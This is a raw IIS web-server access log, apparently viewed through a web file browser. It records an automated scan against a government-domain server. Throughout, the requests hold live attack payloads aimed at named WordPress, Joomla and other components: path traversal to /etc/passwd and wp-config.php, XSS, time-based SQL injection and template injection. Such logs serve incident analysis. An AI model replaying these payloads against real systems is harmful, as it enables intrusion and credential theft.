????
Current Path : C:/inetpub/logs/LogFiles/W3SVC18/ |
Current File : C:/inetpub/logs/LogFiles/W3SVC18/u_ex230629.log |
#Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 00:17:14 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 00:17:14 103.153.214.94 GET /conf/nginx.conf - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 200 0 0 505 2023-06-29 00:17:53 103.153.214.94 GET /pub/bscw.cgi/30 op=theme&style_name=../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 200 0 0 35 2023-06-29 00:18:11 103.153.214.94 GET /graph_realtime.php action=init 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 24 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 00:42:51 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 00:42:51 103.153.214.94 GET /settings - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 542 2023-06-29 00:49:25 103.153.214.94 GET /fpui/jsp/index.jsp - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/52.0.2762.73+Safari/537.36 - 200 0 0 32 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 01:06:39 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 01:06:39 103.153.214.94 GET /index.php controller=../../../../../etc/passwd%00&option=com_joomlapicasa2 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 34 2023-06-29 01:11:00 103.153.214.94 GET /sftp-config.json - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 37 2023-06-29 01:13:58 103.153.214.94 POST /login.php action=login&type=admin 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 405 0 1 41 2023-06-29 01:17:58 103.153.214.94 POST /goanywhere/lic/accept - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 405 0 1 36 2023-06-29 01:19:58 103.153.214.94 GET /index.php controller=../../../../../../../../../etc/passwd%00&option=com_graphics 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 33 2023-06-29 01:30:29 103.153.214.94 GET /webshell4/login.php err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 200 0 0 32 2023-06-29 01:30:29 103.153.214.94 GET /webshell4/login.php login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 25 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 01:50:37 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 01:50:37 103.153.214.94 GET /admin/ id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN&page=teams/manage_team 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 163 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 02:07:04 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 02:07:04 103.153.214.94 GET /sensorlist.htm - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 37 2023-06-29 02:17:03 103.153.214.94 GET /index.php controller=../../../../../../../../../../../../../../etc/passwd%00&option=com_picasa2gallery 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 31 2023-06-29 02:18:42 103.153.214.94 GET /magmi/web/ajax_pluginconf.php file=../../../../../../../../../../../etc/passwd&pluginclass=CustomSQLUtility&plugintype=utilities 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 36 2023-06-29 02:27:05 103.153.214.94 POST /api/v2/open/rowsInfo - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 404 0 2 2072 2023-06-29 02:39:57 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 33 2023-06-29 02:39:58 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 405 0 1 28 2023-06-29 02:39:59 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 27 2023-06-29 02:40:00 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 25 2023-06-29 02:40:00 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 27 2023-06-29 02:40:01 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/52.0.2762.73+Safari/537.36 - 405 0 1 26 2023-06-29 02:40:02 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 23 2023-06-29 02:40:04 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2866.71+Safari/537.36 - 405 0 1 23 2023-06-29 02:40:04 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 30 2023-06-29 02:40:05 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2226.0+Safari/537.36 - 405 0 1 24 2023-06-29 02:40:07 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 29 2023-06-29 02:40:09 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 405 0 1 53 2023-06-29 02:40:09 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 200 0 0 66 2023-06-29 02:40:10 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 405 0 1 29 2023-06-29 02:40:10 103.153.214.94 GET /console/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 44 2023-06-29 02:40:12 103.153.214.94 POST /console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 405 0 1 79 2023-06-29 02:43:46 103.153.214.94 POST /ubus/ - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2866.71+Safari/537.36 - 405 0 1 37 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 03:01:13 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 03:01:13 103.153.214.94 POST /htdocs/login/login.lua - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 405 0 1 42 2023-06-29 03:02:39 103.153.214.94 GET /install/app.php - 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 200 0 0 34 2023-06-29 03:04:32 103.153.214.94 POST /content/2ReXayjBM7Ql6eo4xaY7dWX4XYW - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 https://bcvt.kontum.gov.vn 405 0 1 50 2023-06-29 03:04:35 103.153.214.94 POST /content/2ReXayjBM7Ql6eo4xaY7dWX4XYW.af.internalsubmit.json - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 https://bcvt.kontum.gov.vn 405 0 1 68 2023-06-29 03:09:23 103.153.214.94 GET /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php action=style-clean&file_path=/wp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 200 0 0 36 2023-06-29 03:11:53 103.153.214.94 GET /wp-content/plugins/simple-fields/simple_fields.php wp_abspath=/etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 200 0 0 29 2023-06-29 03:20:27 103.153.214.94 GET /uir/etc/passwd - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 35 2023-06-29 03:22:15 103.153.214.94 GET /dataservice/etc/passwd - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 39 2023-06-29 03:27:47 103.153.214.94 GET /wp-admin/options.php - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 something 200 0 0 36 2023-06-29 03:40:49 103.153.214.94 POST / - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 405 0 1 33 2023-06-29 03:51:37 103.153.214.94 GET / - 443 - 159.65.142.231 Mozilla/5.0+(Windows+NT+10.0;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 84 2023-06-29 03:52:51 103.153.214.94 GET / - 443 - 159.65.142.231 Mozilla/5.0+(Windows+NT+10.0;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 85 2023-06-29 03:53:52 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_datafeeds 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 33 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 04:18:37 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 04:18:37 103.153.214.94 GET / a=display&templateFile=README.md 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 574 2023-06-29 04:18:46 103.153.214.94 GET /wp-content/plugins/finder/index.php by=type&dir=tv&order=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 31 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 04:38:48 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 04:38:48 103.153.214.94 PUT /testing-put.txt - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 405 0 1 30 2023-06-29 04:38:48 103.153.214.94 GET /testing-put.txt - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 29 2023-06-29 04:47:02 103.153.214.94 GET /index.php controller=../../../../../../../../../../../../../../../etc/passwd%00&option=com_vjdeo 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 34 2023-06-29 04:48:15 103.153.214.94 GET /setup - 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 200 0 0 34 2023-06-29 04:53:48 103.153.214.94 GET /index.php s=example 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/52.0.2762.73+Safari/537.36 - 200 0 0 34 2023-06-29 04:54:08 103.153.214.94 GET /dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 200 0 0 29 2023-06-29 04:54:08 103.153.214.94 GET /PhpSpreadsheet/Writer/PDF/DomPDF.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 200 0 0 26 2023-06-29 04:54:08 103.153.214.94 GET /lib/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 26 2023-06-29 04:54:08 103.153.214.94 GET /includes/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 27 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 27 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 25 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 200 0 0 25 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/post-pdf-export/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 25 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/blogtopdf/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 24 2023-06-29 04:54:08 103.153.214.94 GET /wp-content/plugins/gboutique/library/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 200 0 0 27 2023-06-29 04:54:09 103.153.214.94 GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php input_file=php://filter/resource=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2226.0+Safari/537.36 - 200 0 0 25 2023-06-29 04:56:35 103.153.214.94 GET /download.php file=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 40 2023-06-29 05:06:11 103.153.214.94 POST /login - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 405 0 1 37 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 05:23:37 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 05:23:37 103.153.214.94 GET /administrator/components/com_joomla-visites/core/include/myMailer.class.php mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 404 0 2 30 2023-06-29 05:24:07 103.153.214.94 GET /component/music/album.html cid=../../../../../../../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2866.71+Safari/537.36 - 200 0 0 35 2023-06-29 05:35:42 103.153.214.94 GET /wp-admin/admin-ajax.php ID=<svg%20onload=alert(document.domain)>&action=lwp_forgot_password 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 200 0 0 46 2023-06-29 05:48:45 103.153.214.94 GET /spreadsheet-reader/test.php File=../../../../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 30 2023-06-29 05:48:45 103.153.214.94 GET /nuovo/spreadsheet-reader/test.php File=../../../../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 28 2023-06-29 05:50:42 103.153.214.94 POST /login.php - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 405 0 1 79 2023-06-29 05:52:01 103.153.214.94 POST /minio/webrpc - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/52.0.2762.73+Safari/537.36 - 405 0 1 32 2023-06-29 05:52:01 103.153.214.94 POST /minio/webrpc - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 405 0 1 37 2023-06-29 06:04:56 103.153.214.94 GET /oliver/FileServlet fileName=c:/windows/win.ini&source=serverFile 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 31 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 06:21:21 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 06:21:21 103.153.214.94 POST /wp-json/click5_sitemap/API/update_html_option_AJAX - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 45 2023-06-29 06:21:21 103.153.214.94 POST /wp-json/click5_sitemap/API/update_html_option_AJAX - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 405 0 1 26 2023-06-29 06:21:21 103.153.214.94 POST /wp-json/click5_sitemap/API/update_html_option_AJAX - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 24 2023-06-29 06:22:18 103.153.214.94 GET /index.php controller=../../../../../../../etc/passwd%00&option=com_joomlaupdater 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 35 2023-06-29 06:25:57 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_zimbcomment 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 31 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 06:46:40 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 06:46:39 103.153.214.94 GET /git/notifyCommit branches=2ReXahy3cg3aTPuMreYa25i4Z1W&url=2ReXahy3cg3aTPuMreYa25i4Z1W 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 574 2023-06-29 06:49:08 103.153.214.94 GET /search search_key=%7B%7B1337*1338%7D%7D 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2226.0+Safari/537.36 - 200 0 0 35 2023-06-29 06:58:12 103.153.214.94 POST /XMLCHART - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 405 0 1 40 2023-06-29 07:00:13 103.153.214.94 GET /wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php file=../../../wp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 200 0 0 37 2023-06-29 07:04:32 103.153.214.94 GET /AccessAnywhere/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 404 11 0 84 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 07:20:50 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 07:20:50 103.153.214.94 POST /tools.cgi - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 https://bcvt.kontum.gov.vn/tools.cgi 405 0 1 35 2023-06-29 07:20:50 103.153.214.94 POST /tools.cgi - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 https://bcvt.kontum.gov.vn/tools.cgi 405 0 1 30 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 07:40:48 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 07:40:48 103.153.214.94 GET /components/com_ionfiles/download.php download=1&file=../../../../../../../../etc/passwd 443 - 45.117.82.231 